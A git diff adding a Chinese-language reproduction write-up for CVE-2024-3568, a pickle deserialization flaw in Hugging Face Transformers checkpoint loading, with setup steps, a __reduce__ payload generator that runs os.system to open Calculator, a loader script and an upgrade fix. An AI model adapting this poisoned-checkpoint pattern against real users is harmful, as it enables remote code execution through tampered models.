diff --git a/人工智能漏洞/Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568.md b/人工智能漏洞/Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568.md
new file mode 100644
index 0000000..af007a3
--- /dev/null
+++ b/人工智能漏洞/Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568.md	
@@ -0,0 +1,107 @@
+# Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568
+
+## 漏洞描述
+
+CVE-2024-3568 是 Huggingface 的 Transformers 库中存在的一个反序列化漏洞，该漏洞源于 `TFPreTrainedModel()` 类的 `load_repo_checkpoint()` 函数在反序列化未经信任的数据时，使用了不安全的 `pickle.load()` 方法。攻击者可以通过构造恶意的序列化负载，诱使受害者在正常的训练过程中加载看似无害的检查点，从而在目标机器上执行任意代码，导致远程代码执行。
+
+此漏洞的利用方式可能包括供应链投毒，即攻击者在模型数据中插入恶意构造的数据，利用反序列化过程触发恶意代码执行。这类攻击的危险性在于，受害者将在不知情的情况下加载被篡改的模型 checkpoint，导致攻击者在其系统上执行任意代码。
+
+参考链接：
+
+- https://github.com/advisories/GHSA-37q5-v5qm-c9v8
+- https://github.com/huggingface/transformers/commit/693667b8ac8138b83f8adb6522ddaf42fa07c125
+- https://huntr.com/bounties/b3c36992-5264-4d7f-9906-a996efafba8f
+
+## 披露时间
+
+```
+2024.02.03
+```
+
+## 漏洞影响
+
+```
+transformers < 4.38.0
+```
+
+## 环境搭建
+
+基于 python 3.9 创建一个虚拟环境，需要安装指定的版本的 `tensorflow`、`transformers`、`keras`，否则可能报兼容性错误：
+
+```shell
+# 创建工作目录
+mkdir CVE-2024-3568 && cd CVE-2024-3568
+
+# 使用 Python 3.9 创建新的 venv
+python3.9 -m venv venv
+source venv/bin/activate
+
+# 安装兼容的 TensorFlow 版本
+pip install --upgrade pip
+pip install tensorflow==2.15 transformers==4.37.2 keras==2.15
+```
+
+登录 Huggingface 获取 AccessToken，`huggingface-cli` 登录：
+
+```
+> huggingface-cli login
+Enter your token (input will not be visible): xxxxxxxxx
+```
+
+目录结构：
+
+```
+CVE-2024-3568
+├── awesome_poc
+│   └── checkpoint
+│       ├── extra_data.pickle
+│       └── weights.h5
+├── generate_payload.py
+├── poc.py
+└── venv
+```
+
+通过 `generate_payload.py` 生成 `extra_data.pickle` 和 `weights.h5`：
+
+- `extra_data.pickle`：序列化的元数据文件，模型加载时会使用 `pickle.load()` 加载这个文件。
+- `weights.h5`：模型权重文件，与模型架构对应，否则将抛出异常。
+
+```python
+import pickle
+import os
+from transformers import TFAutoModel
+class CExecute:
+    def __reduce__(self):
+        import os
+        cmd = 'open /System/Applications/Calculator.app'
+        return (os.system,(cmd,))
+
+poc = CExecute()
+with open('awesome_poc/checkpoint/extra_data.pickle', 'wb') as fp:
+    pickle.dump(poc,fp)
+
+# Generate weights.h5
+model = TFAutoModel.from_pretrained('google-bert/bert-base-uncased')
+model.save_weights(os.path.join('awesome_poc', 'weights.h5'))
+```
+
+## 漏洞复现
+
+在 `pickle` 反序列化的过程中，会调用对象的 `__reduce__` 方法，此时将会执行我们写入的命令 `open /System/Applications/Calculator.app`。
+
+通过 `poc.py` 模拟模型训练，加载带有恶意命令的 `checkpoint`：
+
+```python
+from transformers import TFAutoModel
+from tensorflow.keras.optimizers import Adam
+model = TFAutoModel.from_pretrained('bert-base-uncased')
+model.compile(optimizer=Adam(learning_rate=5e-5), loss='sparse_categorical_crossentropy', metrics=['accuracy'])
+
+model.load_repo_checkpoint('awesome_poc')
+```
+
+![](images/Huggingface%20Transformers%20Checkpoint%20反序列化漏洞%20CVE-2024-3568/image-20250304154148096.png)
+
+## 漏洞修复
+
+- 升级 transformers 至最新版本 https://github.com/huggingface/transformers
diff --git a/人工智能漏洞/images/Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568/image-20250304154148096.png b/人工智能漏洞/images/Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568/image-20250304154148096.png
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index 0000000..41d2f39
Binary files /dev/null and b/人工智能漏洞/images/Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568/image-20250304154148096.png differ